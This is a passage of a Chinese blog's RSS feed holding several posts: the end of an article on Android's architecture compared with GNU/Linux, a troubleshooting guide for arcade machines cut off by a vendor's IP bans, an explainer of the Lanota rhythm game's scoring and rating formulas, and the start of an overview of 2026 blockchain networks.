&lt;/ol&gt;
&lt;p&gt;这对硬件大厂来说是绝对不可接受的。如果不用 Android，他们要自己重头写一个操作系统。如果用 Android，商业机密就要被迫公开。局面一度陷入死胡同&lt;/p&gt;
&lt;h3&gt;3.2 HAL&lt;/h3&gt;
&lt;p&gt;为了打破这个死局，Google 的架构师们在 Linux 内核和上层 Android 框架之间，硬生生地插入了一个全新的概念：**HAL &lt;code&gt;Hardware Abstraction Layer&lt;/code&gt; 硬件抽象层 **&lt;/p&gt;
&lt;p&gt;既然 GPL 只限制在内核空间，&lt;strong&gt;那我们就把驱动程序的核心逻辑从内核空间搬出来，搬到不受 GPL 限制的用户空间去&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;具体做法如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;硬件厂商在 Linux 内核里只写一个极其简单的占位驱动 Stub。这个驱动只负责最基础的硬件读写指令，直接开源&lt;/li&gt;
&lt;li&gt;硬件厂商把真正的控制逻辑、图像处理算法、复杂的调度机制，写成一个闭源的动态链接库（&lt;code&gt;.so&lt;/code&gt; 文件），放在用户空间的 &lt;strong&gt;HAL 层&lt;/strong&gt;。这部分代码受 Apache 2.0 保护，完全闭源&lt;/li&gt;
&lt;li&gt;当你打开手机相机时，Android 上层应用调用 API -&amp;gt; 系统服务去找 HAL 层的闭源 &lt;code&gt;.so&lt;/code&gt; 库 -&amp;gt; &lt;code&gt;.so&lt;/code&gt; 库再向底层内核那个开源的空客发简单指令&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;通过这个华丽的架构魔术，Android 完美地保护了所有硬件巨头的核心利益&lt;/strong&gt; 这也是为什么你在 Android 手机目录的 &lt;code&gt;/vendor/lib/hw/&lt;/code&gt; 下，能看到一堆由高通或联发科提供的、根本看不了源码的 &lt;code&gt;.so&lt;/code&gt; 文件的原因&lt;/p&gt;
&lt;h3&gt;3.3 Project Treble&lt;/h3&gt;
&lt;p&gt;早期，HAL 层的代码和 Android 的系统框架是绑定在一起的。这就导致每次 Google 发布新版本，厂商必须重新修改他们的 HAL 代码，这就导致了安卓手机极其臭名昭著的&lt;strong&gt;升级碎片化&lt;/strong&gt;（厂商懒得改，你的手机也就永远停在老版本）&lt;/p&gt;
&lt;p&gt;为了解决这个问题，Google 在 Android 8.0 推出了 &lt;strong&gt;Project Treble&lt;/strong&gt;
他们设计了一种叫 &lt;strong&gt;HIDL/AIDL&lt;/strong&gt; 的接口定义语言。相当于给 HAL 层和 Android 框架之间制定了一套标准插座&lt;/p&gt;
&lt;p&gt;从此以后，硬件厂商的闭源驱动变成了完全独立的模块（Vendor 分区）。Google 升级 Android 系统（System 分区），只需要直接拔下旧的插上新的，底层闭源驱动连改都不用改就能直接兼容新系统&lt;/p&gt;
&lt;h2&gt;4. 彻底颠覆&lt;/h2&gt;
&lt;h3&gt;4.1 抛弃 X11 与 Wayland&lt;/h3&gt;
&lt;p&gt;传统的 Linux 桌面系统，长期以来使用的是 &lt;strong&gt;X11&lt;/strong&gt;，后来逐渐向 &lt;strong&gt;Wayland&lt;/strong&gt; 过渡。X11 的设计初衷诞生于 80 年代，它支持网络透明性（你可以把远程服务器上的软件图形界面，投射到本地电脑上显示）。这种设计非常适合科研和服务器环境，但它极其臃肿，层层传递的开销极大，对于手机屏幕来说开销太大&lt;/p&gt;
&lt;p&gt;Google 果断抛弃了 X11 和 Wayland，专门为移动设备量身定制了一套以硬件渲染为核心的显示框架，它的绝对核心组件叫 &lt;code&gt;SurfaceFlinger&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;它的工作原理极其简单高效：在 Android 中，每一个 App（甚至每一个按钮、每一个弹窗）在底层都被抽象成一块块的图层。App 进程只负责把自己那块图层画好（通过 OpenGL ES 或 Vulkan）。然后，所有的图层都会被送到 &lt;code&gt;SurfaceFlinger&lt;/code&gt; 手里&lt;/p&gt;
&lt;p&gt;&lt;code&gt;SurfaceFlinger&lt;/code&gt; 就是一个合成器，它利用手机的 GPU 和专门的硬件合成器（HWC, Hardware Composer），在极短的时间内（比如 16.6 毫秒）把这些图层像双层吉士（那很好吃了）一样叠加在一起，按 Z 轴顺序排好，一把推送到屏幕上，没有鼠标指针的概念，没有窗口拖拽重叠的复杂逻辑（早期），一切为全屏触控和极速渲染让路&lt;/p&gt;
&lt;h3&gt;4.2 音频子系统&lt;/h3&gt;
&lt;p&gt;传统 GNU/Linux 底层使用 ALSA驱动，上层通常使用 &lt;code&gt;PulseAudio&lt;/code&gt; 或较新的 &lt;code&gt;PipeWire&lt;/code&gt; 来进行音频的混音和路由&lt;/p&gt;
&lt;p&gt;Android底层依然保留了 ALSA 驱动（因为这是 Linux 内核的一部分），但 Google 同样把上层全部推翻，自己写了一个叫 &lt;code&gt;AudioFlinger&lt;/code&gt; 的音频策略服务器。它专门针对手机的复杂场景进行了优化：比如你正在听歌（媒体音量），突然来了一个电话（铃声音量），它能极其精准地实现音频焦点的抢占、混音、硬件解码卸载以及极低延迟的音频处理&lt;/p&gt;
&lt;h2&gt;5. IPC &amp;amp; 进程管理&lt;/h2&gt;
&lt;p&gt;这是 Android 架构中最精妙、最伟大，也是彻底让它与传统 Linux 划清界限的设计之一&lt;/p&gt;
&lt;p&gt;在操作系统中，不同的程序（进程）之间是不能随便互相访问内存的（这叫进程隔离）。但它们又必须合作（比如微信要调用系统的相机服务），这就需要一种交流机制，叫 &lt;strong&gt;IPC&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;5.1 抛弃传统 System V IPC&lt;/h3&gt;
&lt;p&gt;传统 Linux 提供了丰富的 IPC 机制：管道、信号、消息队列、共享内存、Socket 等（统称 System V IPC 或 POSIX IPC）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;为什么 Android 不爱用？&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;管道和消息队列：需要把数据从进程 A 拷贝到内核，再从内核拷贝到进程 B，&lt;strong&gt;拷贝两次，性能太差&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;共享内存：性能极高（0 次拷贝），但控制极其复杂，&lt;strong&gt;没有安全校验机制&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Socket：通用性强，但开销大，通常用于网络通信&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5.2 Binder&lt;/h3&gt;
&lt;p&gt;为了解决手机上成百上千个 App 频繁调用的性能和安全问题，Google 从早期的 BeOS/PalmOS 系统中汲取灵感，引入了一个全新的机制：&lt;strong&gt;Binder&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;如果没有 Binder，就没有今天的 Android&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Binder 巧妙地利用了内存映射技术。进程 A 发送数据时，数据只需拷贝一次进入内核态的特定内存区域，进程 B 就能直接读取到，安全迅速。&lt;/p&gt;
&lt;p&gt;当 App A 通过 Binder 呼叫系统服务时，Binder 驱动会在底层&lt;strong&gt;强制自动打上 App A 的真实身份标签（UID/PID）&lt;/strong&gt;。系统服务看一眼标签就知道你有没有权限调&lt;/p&gt;
&lt;p&gt;整个 Android 系统（ActivityManager、PackageManager、各种硬件服务）完全是建立在 Binder 织成的庞大通信网之上的&lt;/p&gt;
&lt;h3&gt;5.3 精简的 &lt;code&gt;init&lt;/code&gt; vs &lt;code&gt;systemd&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;当我们按下手机电源键，Linux 内核启动完毕后，需要运行第一个用户空间进程（PID=1）来接管系统，把所有的服务拉起来&lt;/p&gt;
&lt;p&gt;GNU/Linux如今基本被 &lt;strong&gt;&lt;code&gt;systemd&lt;/code&gt;&lt;/strong&gt; 统治。它极其强大、极其复杂，负责挂载文件系统、配置网络、管理后台守护进程，甚至接管了日志系统&lt;/p&gt;
&lt;p&gt;移动设备当然不需要那么复杂的通用的管理者，它需要的是极速开机。因此，Android 用 C 语言自己手写了一个非常精简的 &lt;code&gt;init&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;它通过解析一系列名为 &lt;code&gt;init.rc&lt;/code&gt; 的纯文本脚本文件，严格按照设定好的顺序，启动底层核心服务（如 &lt;code&gt;vold&lt;/code&gt; 挂载、&lt;code&gt;logd&lt;/code&gt; 日志）、配置 SELinux 权限策略，然后拉起整个 Android 框架&lt;/p&gt;
&lt;h2&gt;6. 应用环境与开发生态&lt;/h2&gt;
&lt;p&gt;在传统的 GNU/Linux 系统中，你写好一段 C/C++ 代码，用 GCC 编译器编译成一个二进制可执行文件（ELF 格式），然后在终端输入 &lt;code&gt;./app&lt;/code&gt;，程序就开始从 &lt;code&gt;main()&lt;/code&gt; 函数一行一行往下跑了。系统不管你里面写了什么，只要你不崩溃、不越权就行&lt;/p&gt;
&lt;p&gt;但 Android 不行&lt;/p&gt;
&lt;h3&gt;6.1 Native ELF 地位边缘化&lt;/h3&gt;
&lt;p&gt;在 Android 中，Google &lt;strong&gt;极其不鼓励&lt;/strong&gt;（甚至在早期严禁）开发者直接编写原生 C/C++ 二进制程序并作为独立进程在系统里裸奔&lt;/p&gt;
&lt;p&gt;why？传统的 C/C++ 程序是和 CPU 架构（ARM、x86、MIPS）强绑定的。如果你写死成 ARM 指令，那用 Intel x86 芯片的手机就运行不了&lt;/p&gt;
&lt;p&gt;&lt;em&gt;对于一个致力于一统天下的商业移动系统来说，这种不兼容是致命的&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;6.2 Dalvik / ART 虚拟机&lt;/h3&gt;
&lt;p&gt;为了让开发者做到&lt;strong&gt;一次编写，到处&lt;s&gt;拉屎&lt;/s&gt;运行&lt;/strong&gt;，Google 选择了 &lt;strong&gt;Java&lt;/strong&gt;（后来加入了 Kotlin）作为 Android 应用层的婆罗门&lt;/p&gt;
&lt;p&gt;你下载的 .apk ，里面装的根本不是能直接在 Linux 内核上跑的机器码，而是被编译成了专属的字节码（Dex文件）&lt;br /&gt;
当你打开一个 App 时，Android 会启动一个专门的虚拟机环境来解释或编译这些字节码
*   早期（Android 4.4 之前）叫 &lt;strong&gt;Dalvik 虚拟机&lt;/strong&gt;（采用 JIT 即时编译，一边运行一边翻译代码）
*   现在叫 **ART&lt;code&gt;Android Runtime&lt;/code&gt;**采用 AOT 预编译 + JIT 混合模式，在 App 安装或闲暇时直接把字节码翻译成机器码，极大提升了流畅度&lt;/p&gt;
&lt;h3&gt;6.3 组件化模型&lt;/h3&gt;
&lt;p&gt;在传统 Linux 中，你关掉一个软件的窗口，或者用 &lt;code&gt;kill&lt;/code&gt; 命令杀掉它，它就彻底死了
但在 Android 中，一个 App 根本没有传统的入口和出口。Google 强制所有应用必须拆分成&lt;strong&gt;四大组件（Activity、Service、Broadcast Receiver、Content Provider）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;你的应用什么时候启动、什么时候退到后台、什么时候被杀死清理内存，完全不由你写的代码决定，而是由系统核心服务（&lt;code&gt;ActivityManagerService&lt;/code&gt;）根据当前手机的内存状态和前台交互需求&lt;strong&gt;强制调度&lt;/strong&gt;的。这种被动式的生命周期管理，在传统的 GNU/Linux 桌面端是完全不存在的&lt;/p&gt;
&lt;h2&gt;7. 安全模型与权限机制的魔改&lt;/h2&gt;
&lt;p&gt;这一章是 Google 最精彩的。如何在一个原本为大型服务器设计的操作系统上，实现全球几十亿小白用户的手机安全？Google 用了一招极其聪明的移花接木&lt;/p&gt;
&lt;h3&gt;7.1 Linux 多用户机制的魔改&lt;/h3&gt;
&lt;p&gt;在传统的 Linux 服务器中，权限隔离是基于&lt;strong&gt;用户&lt;/strong&gt;的&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;比如服务器上有三个真实的人：Chongxi、xi 和 root。系统给他们分配不同的 &lt;strong&gt;UID&lt;/strong&gt;。Linux 内核会在底层严格保证：Chongxi 绝对看不了 xi 文件夹里的隐私数据。
到了手机上，一部手机通常只有一个真实的主人，那 Linux 强大的多用户隔离机制不炸了吗&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Google 发动鬼脑：既然没有多个人，那我就把手机里装的每一个 App，都当成一个独立的user&lt;/p&gt;
&lt;p&gt;这就要说到&lt;strong&gt;Android 沙盒机制：&lt;/strong&gt; 当你安装Telegram时，系统给它分配一个 UID（比如 10045）；当你安装b站时，系统给它分配另一个 UID（比如 10046）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在底层 Linux 内核看来，微信和淘宝根本不是两个软件，而是&lt;strong&gt;两个互不相识的、平行的Linux 系统用户&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;利用内核原生的 UID 隔离机制，微信天然就无法读取淘宝在私有目录下的数据，淘宝也无法干涉微信的运行，&lt;strong&gt;这就是 Android 沙盒&lt;/strong&gt;。旧瓶装新酒这一块&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7.2 Zygote&lt;/h3&gt;
&lt;p&gt;既然每个 App 都在一个独立的虚拟机和沙盒里，那每次打开 App 都要重新启动一遍庞大的 Java 虚拟机环境，手机早就卡死了&lt;/p&gt;
&lt;p&gt;为了实现极速启动和节省内存，Android 创造了一个叫 &lt;strong&gt;Zygote&lt;/strong&gt; 的特殊进程&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;手机开机时，系统会先启动这个 Zygote 进程，并在里面把所有的 Java 核心库、虚拟机环境全部ready&lt;/li&gt;
&lt;li&gt;当你点击桌面微信图标时，系统只是向 Zygote 发送一个指令。Zygote 会利用 Linux 内核极其高效的 &lt;code&gt;fork()&lt;/code&gt; 机制，&lt;strong&gt;瞬间克隆出一个一模一样的自己&lt;/strong&gt;，然后在这个克隆体里运行微信的代码&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所有的 App 进程都来自同一个Zygote，它们在底层共享了大量的基础内存（利用 Copy-on-Write 技术），这使得几百兆内存的古董安卓机也能同时跑好几个 App&lt;/p&gt;
&lt;h3&gt;7.3 SELinux&lt;/h3&gt;
&lt;p&gt;早期的 Android 经常被用户 Root，一旦拿到 su 权限，沙盒机制就形同虚设&lt;/p&gt;
&lt;p&gt;为了堵死这个漏洞，Google 从 Android 5.0 开始，强制启用了美国国家安全局（NSA）主导开发的 &lt;strong&gt;SELinux（MAC）&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在 SELinux 的规则下，&lt;strong&gt;即使你是 Root 用户，也不能拉屎&lt;/strong&gt;。所有的操作（读写某个文件、调用某个硬件）都必须在系统底层的安全策略文件中有明确的白名单授权，否则即使是内核也会直接拒绝执行&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;8. 结&lt;/h2&gt;
&lt;p&gt;经过这漫长的闲谈，我们终于可以给Android扣个「帽子」了&lt;/p&gt;
&lt;p&gt;Android 当然包含了 Linux&lt;strong&gt;内核&lt;/strong&gt;，但在&lt;strong&gt;操作系统&lt;/strong&gt;上&lt;strong&gt;Android 早就脱离了 GNU/Linux 的族谱，成为了人类历史目前上最成功、最复杂的移动操作系统&lt;/strong&gt;&lt;/p&gt;
</content:encoded><category>Android</category><author>Chongxi</author></item><item><title>华立采取激进IP策略使舞萌中二等机台全体断网问题解答</title><link>https://xice.cx/posts/maiBanIP/</link><guid isPermaLink="true">https://xice.cx/posts/maiBanIP/</guid><description>​本文提供了近期华立服务器采用激进的IP策略使机台集体断网的问题及解决办法</description><pubDate>Fri, 27 Mar 2026 20:11:17 GMT</pubDate><content:encoded>&lt;h2&gt;0. 引&lt;/h2&gt;
&lt;p&gt;之前舞萌公众号就有封禁策略过于激进，导致随便点几下舞萌NET就会被ban的情况。近期华立貌似给游戏等服务器也应用了同样激进的IP Ban策略&lt;/p&gt;
&lt;h2&gt;1. 问题复现&lt;/h2&gt;
&lt;p&gt;被IP ban后，会有以下现象&lt;/p&gt;
&lt;p&gt;机厅内所有&lt;strong&gt;舞萌&lt;/strong&gt;，&lt;strong&gt;中二&lt;/strong&gt;等其他机器&lt;strong&gt;全部无法联网&lt;/strong&gt;，重启机器也无法解决。且机厅内其他&lt;strong&gt;非华立机器正常运行&lt;/strong&gt;，手机电脑连机厅网络也正常上网&lt;/p&gt;
&lt;h2&gt;2. 成因&lt;/h2&gt;
&lt;p&gt;华立采用了激进的IP封禁策略，具体阈值不明，当网络请求达到一定计量后会对此IP封禁，目前不确定是否会封禁IP段，导致机厅内舞萌等机器被服务器认为是黑客从而被封禁&lt;/p&gt;
&lt;h2&gt;3. 解决办法&lt;/h2&gt;
&lt;p&gt;首先&lt;strong&gt;一定要压力华立&lt;/strong&gt;，让机厅相关工作人员将该情况反馈给华立。接下来按以下顺序尝试：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;重启机厅内光猫&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;如果您所在机厅不是固定IP，一般重启光猫会重新拨号一次，此时运营商会给你所在机厅的出口宽带更换一个新的IP，从而绕过IP ban&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;这个操作就相当于：&lt;br /&gt;
你的机厅之前叫xi，华立的防火墙把叫xi的人全拦外面，现在你重启下光猫，改名叫Chongxi，华立就给你放进去了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如果上述操作无效，则说明：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;您所在地区运营商可能有不同的分配策略，重播无法触发运营商的IP重分配策略&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;等待最长48或72小时&lt;/strong&gt;&lt;br /&gt;
​国内运营商为了防止用户长期占用同一个 IP 地址（变相当作固定 IP 使用），会在后台设置一个强制断开的时间阈值，一般最长72小时&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;如果上述操作均无效&lt;/strong&gt;，那么您所在机厅大概率是固定IP，这种目前没办法解决，请&lt;strong&gt;务必让机修将此情况上报给华立&lt;/strong&gt;来解决&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;4. 注&lt;/h2&gt;
&lt;p&gt;如果你碰见了单台舞萌断网，其他机器正常，这种基本上是吞cookie导致的假灰，重启机器就好&lt;/p&gt;
&lt;p&gt;关于吞cookie导致断网参见：&lt;a href=&quot;https://xice.cx/posts/whyMaiDown/&quot;&gt;为什么舞萌机台老断网？一文解决近期舞萌服务器问题的所有疑惑&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>maimai</category><author>Chongxi</author></item><item><title>lanota的单曲分值和rating计算讲解分析</title><link>https://xice.cx/posts/lanotaScoreRating/</link><guid isPermaLink="true">https://xice.cx/posts/lanotaScoreRating/</guid><description>​本文详细讲解了音游lanota单曲分数和rating是如何计算的，并对比分析了同类音游</description><pubDate>Wed, 18 Mar 2026 01:21:22 GMT</pubDate><content:encoded>&lt;h2&gt;0. 引&lt;/h2&gt;
&lt;p&gt;lanota的rating系统可以说是我目前见过对玩家最友好的&lt;/p&gt;
&lt;h2&gt;1. 单曲分数&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;满分 1,000,000 分&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;基础分 920,000&lt;/li&gt;
&lt;li&gt;连击分 80,000&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.1 基础分&lt;/h3&gt;
&lt;p&gt;设谱面有 N 个 note，基础分的算法很直&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Harmony：920,000 ÷ N&lt;/li&gt;
&lt;li&gt;Tune：400,000 ÷ N&lt;/li&gt;
&lt;li&gt;Miss：0&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tune 大约是 Harmony 的 43%&lt;br /&gt;
也就是说，同一个 note，打 Harmony 比打 Tune 多拿将近 &lt;strong&gt;2.3x&lt;/strong&gt; 的分&lt;/p&gt;
&lt;h3&gt;1.2 连击分&lt;/h3&gt;
&lt;p&gt;lanota连击分的设计很有意思，他并不是均匀的，而是递减，和大多数音游几乎相反&lt;/p&gt;
&lt;p&gt;每打一个 note，这个 note 带来的连击分就比上一个少一点。一直递减到曲目过了50%，然后固定不变。&lt;/p&gt;
&lt;p&gt;前半段拿了 60,000，后半段固定拿 20,000。断连之后不是清零，而是需要超过上次的最高联机才能继续加&lt;/p&gt;
&lt;p&gt;这个设计和 osu 差距就很大了&lt;/p&gt;
&lt;p&gt;osu 的 ScoreV1 是连击乘数机制。每打一个 note，combo 数增加，当前 note 的得分就乘以这个 combo 数。断连之后乘数归 1，后面的 note 都只拿基础分，相当于&lt;strong&gt;全部木大&lt;/strong&gt;。然后就出现了问题，同样的准确率，断在开头和断在结尾，分数可能差十万八千里。所以 osu! 后来推出了 ScoreV2，大幅降低连击的权重，把重心转移到了准确率上&lt;/p&gt;
&lt;p&gt;Lanota 的设计从一开始就避开了这个坑。连击分只占 8%，而且断连不清零，noxy的设计意图就非常清晰&lt;/p&gt;
&lt;h3&gt;1.3 断连影响多大？&lt;/h3&gt;
&lt;p&gt;实话说，连击分只占总分 8%，断了又不是归零，损失实际上相当有限。更多时候是断连之后心态炸了然后红温&lt;/p&gt;
&lt;h2&gt;2. 单曲 Rating&lt;/h2&gt;
&lt;p&gt;总分只是衡量这把打了多少，而 Rating 衡量的是&lt;strong&gt;你在这首曲子上的真实水平&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;单曲Rating = ( &lt;code&gt;Harmony&lt;/code&gt; + &lt;code&gt;Tune&lt;/code&gt;÷3 ) ÷ &lt;code&gt;Note&lt;/code&gt; × ( &lt;code&gt;D&lt;/code&gt; + &lt;code&gt;X&lt;/code&gt; )&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;D 是谱面难度，X 是难度系数加成&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;难度&lt;/th&gt;
&lt;th&gt;X&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;16+&lt;/td&gt;
&lt;td&gt;2.25&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15+&lt;/td&gt;
&lt;td&gt;1.75&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13+ / 14+ / 16&lt;/td&gt;
&lt;td&gt;1.5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;其余&lt;/td&gt;
&lt;td&gt;1.0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;16 和 16+ 是两个不同的level&lt;/strong&gt;，X 差了 0.75&lt;/p&gt;
&lt;h3&gt;2.1 怎么理解&lt;/h3&gt;
&lt;p&gt;前半段 &lt;code&gt;(H + T÷3) ÷ N&lt;/code&gt; 是你的&lt;strong&gt;加权准确率&lt;/strong&gt;，上限是 1，全 Harmony 才能拿到。Tune 在这里只折算三分之一，比在总分里还要低。&lt;/p&gt;
&lt;p&gt;也就是说，Rating 对准度的要求比总分更严格。两个 Tune 在 Rating 公式里，加起来还不如一个 Harmony&lt;/p&gt;
&lt;p&gt;接下来是难度&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;普通 15 级全 Harmony：Rt 最高 = &lt;strong&gt;16&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;16 级全 Harmony：Rt 最高 = &lt;strong&gt;17.5&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;16+ 级全 Harmony：Rt 最高 = &lt;strong&gt;18.25&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Rating = 准确率 × 难度。难度不够高，准确率再好也顶到头了 &lt;s&gt;这不废话吗&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;和Arcaea&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Arcaea 的单曲 PTT 公式和 Lanota 相当接近，核心逻辑是一样的：&lt;strong&gt;谱面定数 × 准确率修正&lt;/strong&gt;。定数越高、打得越准，PTT 贡献越大&lt;/p&gt;
&lt;p&gt;但 Arcaea 有一个更激进的设计：如果你打出了 EX+ 以及接近理论，PTT加成会比较高，但如果分数很低，PTT 贡献可以是&lt;strong&gt;负数&lt;/strong&gt;，直接拉低总体&lt;/p&gt;
&lt;p&gt;Lanota 没有负数机制，最低就是 0，相比之下宽容很多&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 总 Rating&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;总 Rating = ( B30 + R5 ) ÷ 35&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;B30&lt;/strong&gt;：历史上单曲 Rating 最高的 30 首之和&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;R5&lt;/strong&gt;：最近 15 次游玩里 Rating最高的 5 首之和&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;B30 是长期积累，R5 是近期&lt;/p&gt;
&lt;p&gt;相比 Arcaea 的 PTT 同样是 B30 + R10 的结构，逻辑和 Lanota 几乎一样，不过 R 的数量不同。这套&lt;em&gt;历史最佳 + 近期成绩&lt;/em&gt;的双轨制确实已经成了很多音游 Rating 系统的主流方案&lt;/p&gt;
&lt;h3&gt;3.1 R5 保护机制&lt;/h3&gt;
&lt;p&gt;R5有保护机制，当打出新纪录、或者 Harmony 率到 95% 以上时，如果这次成绩会把rating 更高的曲目挤出 R5，那它就不更新 R5&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;游戏不会因为你去练新曲而惩罚你的 Rating&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;noxy的这个设计对玩家可以说非常友好，不会因为你练习打的不好就狂扣你的Rating。lanota和arc同样有扣分机制，la侧就没有断网保分的说法&lt;/p&gt;
&lt;h2&gt;4. 结&lt;/h2&gt;
&lt;p&gt;简单对比一下&lt;/p&gt;
&lt;p&gt;osu! 的早期设计连击分权重很高，ScoreV2 的出现是对这个方向的修正，毕竟长歪了&lt;/p&gt;
&lt;p&gt;Arcaea 和 lanota同样是准度要求高，但arcaea惩罚机制要狠一些，lanota则更加宽容友好。lanota毕竟比较侧重沉浸感，noxy在设计分数系统的意图可以说很明显了&lt;/p&gt;
&lt;p&gt;顺便引流下: &lt;a href=&quot;https://lanota.chongxi.us&quot;&gt;lanota分数计算器&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>lanota</category><author>Chongxi</author></item><item><title>全球铁路网？浅谈2026年WEB3主要区块链网络</title><link>https://xice.cx/posts/web3Chain2026/</link><guid isPermaLink="true">https://xice.cx/posts/web3Chain2026/</guid><description>​现在的web3是由各种项目方各自修建私铁并通过无数中转站和标准强行拼凑出的全球网络，本文会从最前沿视角带你了解2026年web3各区块链网络的真实样貌</description><pubDate>Sun, 15 Mar 2026 20:57:11 GMT</pubDate><content:encoded>&lt;h2&gt;0. 引&lt;/h2&gt;
&lt;p&gt;在2025年11月时，我在blog中曾写道&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(web3) 它混乱、野蛮、充满骗子和强盗。但它脚下确实埋着石油和黄金，而且铁轨已经铺好&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;现在看，用&lt;strong&gt;各种私铁拼起来的全球铁路网&lt;/strong&gt;来形容现在的 Web3，简直是神级比喻&lt;/p&gt;
&lt;p&gt;如果我们把视角切回到纯粹的&lt;strong&gt;基础设施架构&lt;/strong&gt;，在2026年的今天，这个由无数个状态机、共识算法、跨链桥拼凑起来的异构网络，真实面貌是非常赛博朋克的&lt;/p&gt;
&lt;p&gt;以前大家总幻想最后会有一个大一统的完美公链（所谓的以太坊杀手、终极Layer1一类的说法）来统一全球。但到了现在，我们早就认清了现实：&lt;strong&gt;秦始皇那种车同轨书同文的完美大一统是不存在的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;现在的 Web3，就是一个各种项目方、资本各自修私铁，然后靠无数个中转站和统一标准强行拼凑起来的超级全球铁路网&lt;/p&gt;
&lt;h2&gt;1. Layer 1&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Layer1&lt;/strong&gt;算是主链。这几条是最底层、最粗的铁轨，但它们现在干的活完全不一样了&lt;/p&gt;
&lt;h3&gt;1.1 Ethereum 以太坊&lt;/h3&gt;
&lt;p&gt;现在已经没几个普通人直接在以太坊主网上玩了。它的区块空间太贵，就像是全球金融系统最底层的 Fedwire美联储电汇。&lt;/p&gt;
&lt;p&gt;现在上面跑的主要是&lt;strong&gt;华尔街的 RWA&lt;/strong&gt;（代币化国债）、&lt;strong&gt;各大 Layer 2 的状态证明&lt;/strong&gt;、&lt;strong&gt;几亿美金的机构级 DeFi 清算&lt;/strong&gt;。它又慢又贵，但它是全网的安全基石，是防弹装甲火车&lt;/p&gt;
&lt;h3&gt;1.2 Tron 波场&lt;/h3&gt;
&lt;p&gt;没人在波场上谈高大上的技术革命，他的技术甚至有点老旧。但它极其耐操、极其便宜。上面跑满了像USDT这种的稳定币&lt;/p&gt;
&lt;p&gt;波场每天主要在拉美、非洲和东南亚的各种老板之间来回穿梭。&lt;strong&gt;它是整个Web3目前货运量最大、最接地气的生命线&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;1.3 Solana&lt;/h3&gt;
&lt;p&gt;这是铁路网中的磁悬浮。他极速、单体架构、不支持分层。上面全是高频交易的散户、Memecoin绞肉机，以及 AI Agent 自动发出的微小支付指令。&lt;/p&gt;
